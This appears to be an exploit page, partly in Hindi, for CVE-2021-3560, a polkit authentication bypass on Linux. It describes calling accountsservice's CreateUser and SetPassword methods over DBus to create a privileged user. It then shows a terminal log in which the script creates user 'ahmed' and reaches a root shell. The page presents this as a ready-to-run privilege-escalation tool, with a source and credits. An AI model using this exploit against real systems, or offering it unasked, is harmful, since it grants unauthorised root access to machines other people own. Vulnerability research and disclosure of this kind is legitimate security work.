
polkit के साथ विशेषाधिकार वृद्धि - CVE-2021-3560
पॉल्किट के साथ विशेषाधिकार वृद्धि - CVE-2021-3560
CVE-2021-3560 पॉल्किट पर एक प्रमाणीकरण बाईपास है, जो अविशेषाधिकार प्राप्त उपयोगकर्ता को DBus का उपयोग करके विशेषाधिकार प्राप्त विधियों को कॉल करने की अनुमति देता है। इस एक्सप्लॉइट में हम accountsservice द्वारा प्रदान की गई 2 विशेषाधिकार प्राप्त विधियों (CreateUser और SetPassword) को कॉल करेंगे, जो हमें एक विशेषाधिकार प्राप्त उपयोगकर्ता बनाने, उसके लिए पासवर्ड सेट करने, और अंत में बनाए गए उपयोगकर्ता के रूप में लॉग इन करके रूट तक पहुँचने की अनुमति देता है।
Ahmad Almorabea @almorabea http://almorabea.net
test@ubuntu:~/Desktop$ python3 CVE-2021-3560.py
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/test/Desktop# whoami
root
root@ubuntu:/home/test/Desktop#
GUI प्रमाणीकरण

टर्मिनल प्रमाणीकरण

Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)